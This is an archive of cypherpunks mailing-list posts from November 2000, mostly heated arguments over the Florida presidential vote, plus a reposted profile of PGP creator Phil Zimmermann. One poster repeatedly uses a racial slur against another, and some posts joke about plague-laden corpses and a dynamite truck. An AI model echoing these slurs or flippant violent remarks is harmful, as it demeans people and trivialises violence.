ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From ernest at luminousnetworks.com Wed Nov 8 21:46:11 2000 From: ernest at luminousnetworks.com (Ernest Hua) Date: Wed, 8 Nov 2000 21:46:11 -0800 Subject: CDR: RE: A successful lawsuit means Gore wins! Message-ID: <090825D1E60BD311B8390090276D5C4965DD00@galileo.luminousnetworks.com> Well, Tim, maybe I'm just part of a huge conspiracy to piss you off. Or maybe you utter lots of theoretical purity of process without being the least bit accomodating to the fact that often times, in a large distributed process, things don't go as smoothly and as perfectly as you would prefer. You really should try managing a large organization or process and try to be able to claim that you can make it perfect. And, of course, to get to YOUR point ... What is different this time? Will their evil twins to be doing the voting? What? What is the problem? It's the same damn vote. One for one. If someone does not feel like "fixing" his/her vote, he shouldn't have to. If the second pass is a clean slate, then he/she can vote the same damn way again. I really don't get it. Do they get TWO votes this time? Are they now FORCED to vote even if they did not the first time? Let's face it, if there are "forces", then they'll be there this time around as well. These people weren't objective one day, and the next day, they were suddenly sheeples toppled over by political ads. So what's the difference? Just spit it out, Tim. You just aren't talking substance, but you love insulting me ... What a way to communicate ... but maybe that's not your goal. Ern -----Original Message----- From: Tim May [mailto:tcmay at got.net] Sent: Wednesday, November 08, 2000 9:28 PM To: cypherpunks at cyberpass.net Subject: RE: A successful lawsuit means Gore wins! At 8:57 PM -0800 11/8/00, Ernest Hua wrote: > > There cannot be a re-vote of the County, or even of the entire State, >> as this would distort the forces acting on the electorate in a way >> never seen before. The Palm County voters would know _they_ would be >> electing the next president. Billions of dollars would be spent >> trying to buy each and every voter. > >"distort the forces ..." Lord! No! Don't let them do that! > >Geez, Tim. What happened to personal responsibility? Who gives two >bits what "forces" will be upon them. They will ultimately still >have to cast a vote which they were casting just days earlier. Who >cares if idiots spend billions to sway a few thousand votes. That's >THEIR problem. It's free speech, as you have claimed in the past. You're a complete idiot if you don't understand this point. I made my points, briefly, above. This would not be a matter of the same voters simply recasting their same ballots. Think about it. (I'm not convinced you can, Ernest. In reading hundreds of your posts I have concluded that you're just part of Vinge's "Slow Zone.") --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 5115 bytes Desc: not available URL: From jbwnyc at lycos.com Wed Nov 8 18:57:30 2000 From: jbwnyc at lycos.com (James B Windle) Date: Wed, 8 Nov 2000 21:57:30 -0500 Subject: CDR: Re: A strange election scenario. Message-ID: -- On Wed, 8 Nov 2000 20:36:04 Tim May wrote: > >Actually, MacBride _was_ the elector, in the 1972 election. He ran as >the LP candidate in 1976, presumably on account of his 1972 action. > >(The 1972 was my first election, and I voted for John Hospers, >candidate of the very new Libertarian Party.) > Interesting. That may be right I remember it happening as I grew up in Virginia but I was pretty sure it must have been 1976 as I didn't think I remembered much about 1972 except Nixon won as I wasn't even a teenager. A little research didn't help regarding that vote, but there are several other instances of electors voting for other candidates as the elector are not apparently legally bond to vote as they are elected to vote. 1956 An Alabama elector voted for a circuit court judge instead of Adlai Stevenson 1960 An Oklahoma elector voted for Harry F. Byrd instead of Richard Nixon 1968 A North Carolina elector voted for George Wallace instead of Richard Nixon 1988 A West Virginia elector voted for Lloyd Bentsen instead of Michael Dukakis Jim Windle > > > Get FREE Email/Voicemail with 15MB at Lycos Communications at http://comm.lycos.com From netsurf at sersol.com Wed Nov 8 22:28:02 2000 From: netsurf at sersol.com (James D. Wilson) Date: Wed, 8 Nov 2000 22:28:02 -0800 Subject: CDR: Phil Zimmerman Profiled In-Reply-To: Message-ID: Watch the word wrap: http://developer.earthweb.com/earthweb/cda/dlink.resource-jhtml.72.1081.|rep ository||softwaredev|content|article|2000|10|03|SDLairdZim|SDLairdZim~xml.0. jhtml?cda=true (PGP Signature applied with appreciation to PRZ) Meet Phil Zimmermann, creator of the Pretty Good Privacy (PGP) encryption suite and one of the world's best-known cryptographers. Published October 04, 2000 By Cameron Laird Page 1 of 2 1 2 Programmers can be celebrities too. Just ask Philip (Phil) Zimmermann. He's spent most of the last decade as a folk hero, and admits to having enjoyed that status. Just this summer, he suffered the flip side of fame as wildly inflated rumors circulated about his role in compromising the security of the PGP encryption suite, and he watched his e-mail inbox fill with venom. A Human Rights Project He recognizes it comes with the territory. Zimmermann is probably the world's best-known cryptographer. He created the Pretty Good Privacy (PGP) encryption suite in 1991. Since then, it has come to dominate the market for programming protection of online confidentiality. PGP has been heralded for its role in protecting numerous political dissidents around the world, and earned Zimmermann the prestigious Norbert Wiener Award for responsible use of technology in 1996, as well as the 1995 Chrysler Award for Innovation in Design, and a 1998 Lifetime Achievement Award from Secure Computing Magazine, along with at least a dozen other distinctions. It also brought him into highly public patent disputes with RSA Data Security Inc., and a nightmarish multi-year criminal investigation by the United States government. It began as a human rights campaign. As the '90s opened, Zimmermann was an experienced programmer -- and a pretty good one by all accounts, including his own -- specializing in data security and communications and real-time embedded systems. Electronic communications technologies were becoming widely available, and politically significant: combinations of underground radio, video tapes, satellite news updates, and e-mail are generally acknowledged to have been indispensable in the popular overthrow of Iran's Shah, Eastern Europe's Bolsheviks, and several dictatorships throughout the third world. Technical challenges remained. How, for example, could human rights monitors communicate their on-site findings without risking recrimination or distortion? How might any citizen communicate freely and fearlessly over channels subject to tapping? One technical solution was encryption: "scrambling" a message so it was unreadable except to the sender and intended receiver. Zimmermann had worked on commercial encryption systems during the '80s, and he envisioned that it could be applied more widely. He developed PGP as an "add-on" that any e-mail user could install to ensure confidentiality. A Response to Legislation And it worked. It also became controversial, which brought more attention, and encouraged even more users to experiment with it. Nowadays it's become part of the popular culture of computing. It has been so widely disseminated that even many industry participants who rely on it know nothing about Zimmermann, and assume it was first created for the commercial applications -- retail sales, banking, and so on-in which it is used today. Zimmermann, however, emphasizes that for him it remains a human-rights project. PGP was born in controversy. Zimmermann wrote version 1.0 as a response to United States Senate Bill 266. If it had been passed, this legislation would have required all communications vendors to embed "back doors" to permit government agencies to tap their products. He rushed a release of 1.0 into the hands of his computing friends, at least one of whom began to distribute it on bulletin boards throughout North America. Its circulation meant that any criminality resulting from passage of the bill would have been difficult to enforce. Code-sharing didn't stop at national borders, though, and there was nothing hypothetical about it: export of PGP outside the U.S. (with possible exceptions involving Canada) was definitely illegal. Everyone involved agreed that the Office of Defense Trade Control's enforcement of the International Traffic in Arms Regulations (ITAR) extended to cryptographic software. Whom to Prosecute? Whom could the US Department of Justice indict, though? Zimmermann just programmed and talked; he was careful not to engage in any "munitions exports" himself. Despite these precautions, criminal charges were brought against him. The programming and civil rights communities joined to create a legal defense fund. After three years of what Zimmermann calmly categorizes as "persecution," prosecutors dropped the case in early 1996 with as little comment as they had earlier justified it. Controversy didn't end there. Even before the criminal indictment, RSA notified Zimmermann that it considered PGP an infringement of its patents. Zimmermann had been careful to engage only in "educational use" of applicable documents and inventions. He consistently emphasized in his presentations that users were responsible for securing applicable licenses. The RSA battle ended as undramatically as the ITAR one had. Zimmermann and Public Key Partners (PKP), an RSA affiliate, signed an agreement that Zimmermann would continue not to distribute RSA inventions and PKP would not sue Zimmermann. RSA threatened Zimmermann and the Massachusetts Institute of Technology (MIT) for various alleged infringements. Zimmermann programmed around legal problems, and MIT shielded him from others in pursuit of its own intellectual rights. While the publicity around these disputes served as valuable marketing for PGP, it also made it hard to move on. Hecklers continue to believe, for example, that Zimmermann had secretly acquiesced to government demands and somehow weakened PGP. Although it's hard to prove covert arrangements do not exist, it's equally difficult to imagine how Zimmermann might contaminate source code available for public review, which PGP was. PGP Inc. With the disposal of the government case, Zimmermann founded PGP Inc. in 1996 to finance maintenance and enhancement of PGP. Late the next year, he sold the company to Network Associates (NAI), while agreeing to stay on as senior fellow. The programming fraternity continues to honor Zimmermann in its characteristic ways: T-shirts are silk-screened with him as subject, he speaks regularly at conferences and in the classroom, and people who haven't met him often speculate on Usenet and other public forums about his motives and interests. He is often addressed with the reverence accorded an accomplished software engineer martyred for resistance to governmental invasions of privacy. PGP's Present and Future So where are PGP and Zimmermann in the year 2000? He still has a full schedule. Between his assignments with NAI and independent consulting, he sometimes fails to make adequate time for sleep, let alone pack carefully for his many professional travels. He does little coding these days. However, he sees his contribution as critical, believing that "encryption software architectural decisions must be made by knowledgeable cryptographers, not software engineers." He has very firm opinions, for example, about Gnu Privacy Guard (GnuPG), an open source competitor to PGP. There's no doubt in Zimmermann's mind that GnuPG suffers for being managed by programmers. He offers the Blowfish encryption method as an example: "I would never, ever allow Blowfish to be implemented in PGP, because it's not as good a design as Twofish; Twofish is superior. PGP 7 implements Two fish. Yet we see GnuPG implemented Blowfish." Even the Internet Engineering Task Force (IETF) makes cryptographic mistakes, he says. Zimmermann asserts, "I would never allow El-Gamal signatures to be put in PGP. I don't know how that got in" RFC 2440, which defines the OpenPGP standard. NAI still has a large backlog of serious technical work to do: integration of new algorithms and functionality, ports to new architectures, and more. Embedded systems -- encryption processing within telephones, automobiles, and so on -- are likely to be particularly important during the next few years. Also, the original RSA patent expired just a couple of weeks ago, and NAI is already offering products that exploit this. Minor controversies continue to dog PGP. Just within the last year, two small faults in the released code were discovered. While experts agree that neither one presented any practical danger to the security of PGP-based communications, both sparked arguments about NAI's ability and even its intentions. In the first case, a fault in a specific version for Unix could, in principle, compromise a key generated by a method PGP had always deprecated: automatically, without user input. Then, in mid-August, German researchers spotted an error in PGP's Additional Decryption Key (ADK) functionality. Like the key-generation error, it was quickly fixed, and detailed investigations confirmed it was unlikely that any real keys had ever been tampered with, let alone any messages cracked. However, before all the facts came out, speculation erupted that Zimmermann had personally installed a deliberate vulnerability, or perhaps allowed NAI to do so. Zimmermann promptly published an extensive personal statement through the PGP Web site, and most observers now grant that, as he concludes there, "If NAI tried to put a back door in PGP, all the engineers on the PGP team would quit in a highly visible protest, and I would be talking to the press about it. There is no way that I would let this happen." The Future Is Busy Zimmermann's personal scheduling often leaves him in what he calls "decapitated chicken mode." Apart from the frustration of overload, he likes what he does, and proudly regards it as important technically and politically. He's just beginning to redevelop PGPphone on his own, outside NAI: "I think it's a cool project." He continues to speak before university and industry groups, often in Europe. However painful the name-calling and conspiracy theorizing is to him, he plans many more contributions to cryptography and computing. From netsurf at sersol.com Wed Nov 8 22:29:57 2000 From: netsurf at sersol.com (James D. Wilson) Date: Wed, 8 Nov 2000 22:29:57 -0800 Subject: CDR: Phil Zimmerman Profiled Message-ID: A non-text attachment was scrubbed... Name: not available Type: application/pgp Size: 10516 bytes Desc: not available URL: From honig at sprynet.com Wed Nov 8 19:42:39 2000 From: honig at sprynet.com (David Honig) Date: Wed, 8 Nov 2000 22:42:39 -0500 Subject: CDR: Re: A very brief politcal rant In-Reply-To: <973697805.3a09730d4e448@webmail.cotse.com> Message-ID: <3.0.5.32.20001108193632.00967e50@207.69.200.219> At 05:47 PM 11/8/00 -0500, brflgnk at cotse.com wrote: >If the citizens of Missouri chose to elect a deceased person as Senator, I think >that's exactly what they should get. Leave the seat empty for two years. Maybe she and Bono ("tree, get out out my way, I'm a congressman")'s ho can form a congressional dead-man running club... From honig at sprynet.com Wed Nov 8 19:51:12 2000 From: honig at sprynet.com (David Honig) Date: Wed, 8 Nov 2000 22:51:12 -0500 Subject: CDR: Re: Weather In-Reply-To: References: Message-ID: <3.0.5.32.20001108194516.00961c70@207.69.200.219> At 06:30 PM 11/8/00 -0500, Jim Choate wrote: >There's an old saw about Texas, > >If you don't like the weather, wait a few minutes. It'll change. Hilarious. Where I grew up, it was New England, not T'xas. But then, I grew up in NE. But then, NE was settled by english-speakers way before T. Tornadoes are gods. I hope to chase them when I have the time. Meanwhile I have to put up with earthquakes, landslides, brushfires and bureaucrats. Oh my. From honig at sprynet.com Wed Nov 8 19:51:42 2000 From: honig at sprynet.com (David Honig) Date: Wed, 8 Nov 2000 22:51:42 -0500 Subject: CDR: Re: Calif Mandatory Youth Education Camp competition In-Reply-To: <5.0.0.25.0.20001108101352.0438d960@popserver.panix.com> References: <3.0.5.32.20001107202513.00959420@207.69.200.219> Message-ID: <3.0.5.32.20001108193943.0096d3f0@207.69.200.219> At 06:13 PM 11/8/00 -0500, Duncan Frissell wrote: >At 11:31 PM 11/7/00 -0500, David Honig wrote: > >>Seems the Calif proposition to fund private schools has failed. >> >>You must register Jr. with the government next September. Mandatory >>anthrax shots in January. > > >Home schooling remains legal in KKKalifornia despite occasional attempts by >school districts to suppress it. Yes to everything you write. Too bad about dem poor folks who can't take time to homeschool, and have to use the societal defaults of govt-run schools... From George at Orwellian.Org Wed Nov 8 19:51:58 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Wed, 8 Nov 2000 22:51:58 -0500 (EST) Subject: CDR: A successful lawsuit means Gore wins! Message-ID: <200011090351.WAA14142@www9.aa.psiweb.com> The lawsuit has until January to succeed. The invalid ballot... Listed second: Gore/Lieberman. Second hole punch votes for: Buchanun. Image of invalid ballot: http://www.gopbi.com/news/local/ballot.html http://cnews.tribune.com/news/image/0,1119,oso-nation-82373,00.html The ballot layout was illegal and resulted in a statistically verifiable set of erroneous votes for Bucanun. This is particularly galling to the voting victims, since many are Jewish. See: In article , Avram Grumer wrote: > >This _NY Times_ article has a little more detail: >http://www.nytimes.com/aponline/politics/AP-ELN-Florida-Ballot-Confusion.html > >: Florida law specifies that voters mark an X in the blank space >: to the right of the name of the candidate they want to vote for. >: >: Jeff Liggio, a lawyer for county Democrats, called the ballot >: illegal. "Right means right, doesn't it? The state law says right. >: It doesn't mean left," he said. From George at Orwellian.Org Wed Nov 8 20:03:45 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Wed, 8 Nov 2000 23:03:45 -0500 (EST) Subject: CDR: Re: A successful lawsuit means Gore wins! Message-ID: <200011090403.XAA16241@www6.aa.psiweb.com> Wow, NBC reports 19,000 Palm Beach County ballots were discarded because _two_ holes were punched, presumably by people confused by the illegally formatted ballot. Buchanun received three times the votes expected. >This _NY Times_ article has a little more detail: >http://www.nytimes.com/aponline/politics/AP-ELN-Florida-Ballot-Confusion.html > >: Florida law specifies that voters mark an X in the blank space >: to the right of the name of the candidate they want to vote for. >: >: Jeff Liggio, a lawyer for county Democrats, called the ballot >: illegal. "Right means right, doesn't it? The state law says right. >: It doesn't mean left," he said. From tcmay at got.net Wed Nov 8 20:14:48 2000 From: tcmay at got.net (Tim May) Date: Wed, 8 Nov 2000 23:14:48 -0500 Subject: CDR: Re: A strange election scenario. In-Reply-To: References: Message-ID: At 9:57 PM -0500 11/8/00, James B Windle wrote: > >-- > >On Wed, 8 Nov 2000 20:36:04 > Tim May wrote: >> >>Actually, MacBride _was_ the elector, in the 1972 election. He ran as >>the LP candidate in 1976, presumably on account of his 1972 action. >> >>(The 1972 was my first election, and I voted for John Hospers, >>candidate of the very new Libertarian Party.) >> >Interesting. That may be right I remember it happening as I grew up >in Virginia but I was pretty sure it must have been 1976 as I didn't >think I remembered much about 1972 except Nixon won as I wasn't even >a teenager. A little research didn't help regarding that vote, but >there are several other instances of electors voting for other >candidates as the elector are not apparently legally bond to vote as >they are elected to vote. Very odd that your "little research" would turn up this list of electors who didn't vote as expected but NOT turn up the MacBride case: entering "macbride virginia elector" into Google immediately turned up numerous hits giving the story. Weird. Maybe your search engines find obscure tihngs about Adlai Stevenson but skip a much more recent election. Even more odd that entering "macbride" turned up Stevenson stuff, but not MacBride stuff. (I'm being facetious of course.) --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From jburnes at savvis.net Wed Nov 8 21:15:50 2000 From: jburnes at savvis.net (Jim Burnes) Date: Wed, 8 Nov 2000 23:15:50 -0600 Subject: CDR: Re: A very brief politcal rant In-Reply-To: References: <973697805.3a09730d4e448@webmail.cotse.com> Message-ID: <00110823155003.02765@reality.eng.savvis.net> On Wed, 08 Nov 2000, R. A. Hettinga wrote: > At 10:36 AM -0500 on 11/8/00, brflgnk at cotse.com wrote: > > If the citizens of Missouri chose to elect a deceased person as Senator, > >I think > > that's exactly what they should get. > > Would that we were all so fortunate. Imagine, a whole senate full of dead > people. Well... empty seats representing dead people. Or something. > > Missouri, the show me state, indeed. > > I can hear the stand up comics now.... The new motto of Missouri Democrats... "I see dead people..." Now dead democrats can vote for dead democrats.... I gotta get out of this state. Nevada is sounding pretty cool and I wouldn't have to fly to DEFCON. (hear that Steve?) jim -- Sometimes it is said that man can not be trusted with the government of himself. Can he, then, be trusted with the government of others? Or have we found angels in the forms of kings to govern him? Let history answer this question. -- Thomas Jefferson, 1st Inaugural From jburnes at savvis.net Wed Nov 8 21:25:28 2000 From: jburnes at savvis.net (Jim Burnes) Date: Wed, 8 Nov 2000 23:25:28 -0600 Subject: CDR: Re: A successful lawsuit means Gore wins! In-Reply-To: <200011090351.WAA14142@www9.aa.psiweb.com> References: <200011090351.WAA14142@www9.aa.psiweb.com> Message-ID: <00110823252804.02765@reality.eng.savvis.net> On Wed, 08 Nov 2000, George at Orwellian.Org wrote: > The lawsuit has until January to succeed. > > The invalid ballot... > Listed second: Gore/Lieberman. > Second hole punch votes for: Buchanun. > > Image of invalid ballot: > http://www.gopbi.com/news/local/ballot.html > http://cnews.tribune.com/news/image/0,1119,oso-nation-82373,00.html > > The ballot layout was illegal and resulted > in a statistically verifiable set of erroneous > votes for Bucanun. This is particularly galling > to the voting victims, since many are Jewish. > It was illegal? Amusing. I could stomach 'might be illegal', but illegal? It was put together by a Democrat to make it easier for the old folks. The delicious irony. BTW: I looked at the image and, reading from top to bottom, I get Bush, Buchannon, Gore. I guess Democrats are unfamiliar with those big, fat arrows. If you don't understand what arrows mean you should not be voting. jim From George at Orwellian.Org Wed Nov 8 20:37:04 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Wed, 8 Nov 2000 23:37:04 -0500 (EST) Subject: CDR: Re: A successful lawsuit means Gore wins! Message-ID: <200011090437.XAA08105@www8.aa.psiweb.com> At 7:02 PM -0800 11/8/00, Evan wrote: >what the hell is the electoral college still doing in existance? it >should have gone out w/ unlimited presidential terms.... voting with >their conscience my ass.... voting in a partisan fashion is more like it Spooky Cypherpunk Niggar Tim May Moroned: # If you are an American citizen, you have failed to understand that # this nation is a federal republic, not a direct democracy. # # Perhaps there are night school classes in your area to help you to # fill in the gaps in your education. I hear it used to be clearer: they didn't even list presidential candidates on the ballot, just the electorial college members. ---- George at Orwellian.Org wrote: >Wow, NBC reports 19,000 Palm Beach County ballots >were discarded because _two_ holes were punched, >presumably by people confused by the illegally >formatted ballot. Buchanun received three times >the votes expected. Spooky Cypherpunk Niggar Tim May Moroned: # Earth to George: that the ballots were discarded does not mean # anything for the vote total already reported. Those 19,000 ballots, # if this is true, will simply vanish into the great black hole of # defective ballots (more than one vote per category, torn, etc.). # # So? So: added fuel for a Palm Beach County revote. That's on top of an illegally formatted ballot that can demonstratably (statistically) be shown to be the cause of impossibly high Buchanan votes. Both are indicators the badly formatted ballot robbed people of their right to vote. From commerce at home.com Wed Nov 8 20:52:22 2000 From: commerce at home.com (Me) Date: Wed, 8 Nov 2000 23:52:22 -0500 Subject: CDR: Re: More blather from the DEMS on FL References: <20001109030218.54081.qmail@web10008.mail.yahoo.com> Message-ID: <016601c04a08$d950d140$0100a8c0@matthew> ----- Original Message ----- From: "Evan" > what the hell is the electoral college still doing > in existance? it should have gone out w/ unlimited > presidential terms.... voting with their conscience > my ass.... voting in a partisan fashion is more like it Why bother; amending the constitution is a thing of the past, interpreting it is in style. When CNN finds that the recount isn't getting ratings, they will simply start reporting, based on a legal correspondent Gretta van Sustren's constitutional reading, that Al Gore is the President. Within a week everyone will accept it and move on. From hseaver at harmon.arrowhead.lib.mn.us Wed Nov 8 20:53:29 2000 From: hseaver at harmon.arrowhead.lib.mn.us (Harmon Seaver) Date: Wed, 8 Nov 2000 23:53:29 -0500 Subject: CDR: Re: [Correction] More blather from the DEMS on FL References: <200011081549.KAA22279@domains.invweb.net> <00110802010900.02765@reality.eng.savvis.net> Message-ID: <3A0A2DB1.730E56B3@harmon.arrowhead.lib.mn.us> im Burnes wrote: > Maybe Ms. Reno still has connections in Dade county. If I were a Republican >I'd demand chain of evidence from any so-called 'lost' ballots. OTOH, it's gwbush's brother runs the state, eh? 8-) And didn't the exit polls say Gore won? From registration at ifilm.com Wed Nov 8 23:54:03 2000 From: registration at ifilm.com (registration at ifilm.com) Date: Wed, 8 Nov 2000 23:54:03 -0800 (PST) Subject: CDR: Your IFILM registration is confirmed! Message-ID: <200011090754.XAA37845@ns1.ifilm.com> Dear cypunks, Welcome to IFILM, the Web's largest film collection and leading entertainment resource. IFILM delivers more than 10,000 Internet films, the latest Industry news and unlimited information about films, filmmaking and the film industry. * Watch, rate and review all of our films! * Check out the daily IFILM Picks! * Read the latest on the new movie releases and box-office hits! * See today's Cool Click or Web Pick! * Take a peek at the new Erotica Showcase! * Prepare yourself for Spike & Mike's Sick and Twisted Festival of Animation! * Watch a film on any of our 11 channels: Action, Animation, Comedy, Drama, Sci-fi, Thriller and more! So...what are you looking at? Questions? Let us know! Send email to info at ifilm.com IFILM (www.ifilm.com): The only place to watch every film on the Web From commerce at home.com Wed Nov 8 21:00:10 2000 From: commerce at home.com (Me) Date: Thu, 9 Nov 2000 00:00:10 -0500 Subject: CDR: Re: A successful lawsuit means Gore wins! References: <200011090351.WAA14142@www9.aa.psiweb.com> Message-ID: <017e01c04a09$f025e3f0$0100a8c0@matthew> ----- Original Message ----- From: > The ballot layout was illegal and resulted > in a statistically verifiable set of erroneous > votes for Bucanun. This is particularly galling > to the voting victims, since many are Jewish. What? No slight against the Amiga? From petro at bounty.org Thu Nov 9 00:16:06 2000 From: petro at bounty.org (petro) Date: Thu, 9 Nov 2000 00:16:06 -0800 Subject: CDR: Re: Courts interfering with election In-Reply-To: <200011080135.UAA14626@www8.aa.psiweb.com> References: <200011080135.UAA14626@www8.aa.psiweb.com> Message-ID: >TimMay wrote: ># I thought I was jaded, but this is too much even for me to believe. ># ># A judge in St. Louis has ordered the polls kept open later, until 10 ># pm local time. The effect will be to let more inner city, ># Democrat-leaning voters vote. > >What a lame-ass complaint. > >For some reason, certain polling areas got jammed up, >as in long lines. The court agreed to keep the polls >open longer so the people could vote. It didn't matter >who the people might vote for, despite the Democrats >asking for the extended hours. > >The Republicans actually went into federal court to >try and block this, and failed. > >Did you expect a Republican judge to say no since >the people who might be unable to vote by the normal >deadline were Democrats? > >What's your objection to people voting? Try not to >mention a political party in your reply. It's not an objection to voting, it's an objection to manipulating the open and closing times of polls (in this case the closing time) to make it more convenient for a specific segment of the population. If I remember correctly, in Missouri Polls are open from 7 am to 7pm (though that could have changed), and IIRC it is mandatory for an employer to allow you time to vote. There is simply no reason for polls to have to be open longer than their allotted time, and specifically not just for specific sections of a state. If anything, it would make more sense to keep rural polls open longer, since they are often more difficult to get to. The thing is, voting should *not* be easy. It *should* require some effort (not a LOT of effort, but it should be non-trivial) so that only those who actually care to bother will. -- When money becomes the objective, truth is abandoned. --The Guru From petro at bounty.org Thu Nov 9 00:29:09 2000 From: petro at bounty.org (petro) Date: Thu, 9 Nov 2000 00:29:09 -0800 Subject: CDR: Re: Well, that's over. Heads up, America! In-Reply-To: <20001108140838.B27342@tightrope.demon.co.uk> References: <4.3.0.20001108034928.016a6820@mail.well.com> <3A093637.FDF4FABC@ccs.bbk.ac.uk> <20001108140838.B27342@tightrope.demon.co.uk> Message-ID: >> differ nobody believes them anyway. (Is Bush really saying, as his Tory >> acolytes over here in Britain are, that you can cut taxes *and* increase >> pubic spending? Does anyone take that seriously enough to factor it in > >I think you mean "public". Actually this is possible if cutting taxes Yeah, Bush is a republican. It's the Democrats who are into pubic spending. -- A quote from Petro's Archives: ********************************************** "Despite almost every experience I've ever had with federal authority, I keep imagining its competence." John Perry Barlow From tcmay at got.net Thu Nov 9 00:41:17 2000 From: tcmay at got.net (Tim May) Date: Thu, 9 Nov 2000 00:41:17 -0800 Subject: CDR: Re: Phil Zimmerman Profiled In-Reply-To: <200011090805.AAA15590@user3.hushmail.com> References: <200011090805.AAA15590@user3.hushmail.com> Message-ID: At 2:01 AM -0500 11/9/00, auto87114 at hushmail.com wrote: >At Wed, 8 Nov 2000 22:29:57 -0800, "James D. Wilson" >wrote: > >>Meet Phil Zimmermann, creator of the Pretty Good Privacy (PGP) >>encryption suite and one of the world's best-known cryptographers. > >Why was this article about encryption posted on this US presidential elektion >discussion list? > >What's that you say? You're kidding! Really? You mean this is an encryption >discussion list? Nah, I still don't believe it. If you want to discuss crypto, you know where the keys are on your keyboard. Looking over the archives, I don't see any such articles from you. All I see from you is a mention of an article in the Hoosier Times, having nothing to do with crypto. So, fuck off. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From George at Orwellian.Org Wed Nov 8 22:57:52 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Thu, 9 Nov 2000 01:57:52 -0500 (EST) Subject: CDR: Re: A successful lawsuit means Gore wins! Message-ID: <200011090657.BAA14000@www7.aa.psiweb.com> Spooky Cypherpunk Niggar Tim May Moroned: # There cannot be a re-vote of the County, or even of the entire State, # as this would distort the forces acting on the electorate in a way # never seen before. An honest attempt to get accurate vote from citizens is in no way a distortion of the purpose of voting. You have no case. Spooky Cypherpunk Niggar Tim May Moroned: # The Palm County voters would know _they_ would be electing # the next president. Gosh, they might have a higher turnout! How evil, right? Spooky Cypherpunk Niggar Tim May Moroned: # Billions of dollars would be spent # trying to buy each and every voter. More of your money-related miscalulations. And even you would have to admit people could still vote as they originally did without repercussion. Again: you've got nothing. Spooky Cypherpunk Niggar Tim May Moroned: # And there is no precedent for using "statistics" by Democrat # consultants to propose that votes be Buchanan be assigned to Gore. So # Gore won't get those votes, and there won't be a County-wide revote. Egad, are worms eating your brain? The statistics were for convincing a judge that people lost their votes due to the bad form. It doesn't matter if the people charged with it didn't catch the written legal requirement that the holes be to the right of the text. 19,000 can change the election, so it's important to get peoples' votes right. I'm glad Jesse Jackson is down there, agitating this issue. Spooky Cypherpunk Niggar Tim May Moroned: # (If there is, I'll help in rigging the dynamite truck .) More delusions of power. All you can do is shoot up your house. You are a useful troll. From auto87114 at hushmail.com Wed Nov 8 23:01:59 2000 From: auto87114 at hushmail.com (auto87114 at hushmail.com) Date: Thu, 9 Nov 2000 02:01:59 -0500 (EST) Subject: CDR: Re: Phil Zimmerman Profiled Message-ID: <200011090805.AAA15590@user3.hushmail.com> At Wed, 8 Nov 2000 22:29:57 -0800, "James D. Wilson" wrote: >Meet Phil Zimmermann, creator of the Pretty Good Privacy (PGP) >encryption suite and one of the world's best-known cryptographers. Why was this article about encryption posted on this US presidential elektion discussion list? What's that you say? You're kidding! Really? You mean this is an encryption discussion list? Nah, I still don't believe it. From nobody at remailer.privacy.at Wed Nov 8 17:48:00 2000 From: nobody at remailer.privacy.at (Anonymous) Date: Thu, 9 Nov 2000 02:48:00 +0100 Subject: CDR: Re: A very brief politcal rant Message-ID: <57221c759ccb5954c0e4c81b10e7f37d@remailer.privacy.at> brflgnk at cotse.com wrote: > If the citizens of Missouri chose to elect a deceased person as Senator, > I think that's exactly what they should get. Leave the seat empty for > two years. I think the good Senator Elect's corpse should be carted to Washington where it should be erected in its designated seat and left to putrefy. Better, his corpse and several hundred of those on Tim's list should be doused with a plague variant and catapulted over the walls of the Capitol Building. From George at Orwellian.Org Thu Nov 9 00:01:37 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Thu, 9 Nov 2000 03:01:37 -0500 (EST) Subject: CDR: Gore's next move Message-ID: <200011090801.DAA23630@www9.aa.psiweb.com> Gore has dispatched 50 staffers from Tennessee to Palm Beach County, contacted lobbyists in the area regarding raising $3 million in funds, petitions challenging the vote due to the bad form are being circulated, and, ugh, I forget. A legal challenge to the Palm Beach County vote seems to be in the works. ---- FoxNewsChannel posted: # Gore trails by less than 1,000 # with 32 of 67 Fla. counties recounted; It was 2100 votes in Bush's favor before the second count. County recounts, under half of them, lowered that to 1000. "At this rate", perhaps Gore will win anyway. ---- The ballot layout was illegal and resulted in a statistically verifiable set of erroneous votes. http://www.gopbi.com/news/local/ballot.html http://cnews.tribune.com/news/image/0,1119,oso-nation-82373,00.html http://www.nytimes.com/aponline/politics/AP-ELN-Florida-Ballot-Confusion.html Even though Bucanan got roughly the same number of votes in this presidential election as last, it means little compared to this data, all from the current FL election: http://web.mit.edu/norstadt/Public/election.pdf From bill.stewart at pobox.com Thu Nov 9 00:51:42 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Thu, 9 Nov 2000 03:51:42 -0500 Subject: CDR: Re: geezers and ballots In-Reply-To: <29551743e9f383a16b331c6a22f64cf6@mixmaster.ceti.pl> Message-ID: <3.0.5.32.20001109004907.00aa7af0@idiom.com> >What they dont mention is that, by >the same visual-illiteracy that >lets Gore votes go to Buchanan, >votes for Browne go to Gore. > >There is far more difference between >Browne Gore than between Gore >Buchanan. The libs ought to be >furious. At least with the current vote totals on the sfgate.com page, Buchanan narrowly beat Browne (about 10% on about 400,000 votes). This isn't enough to swing that, but it's frustratingly close. Thanks! Bill Bill Stewart, bill.stewart at pobox.com 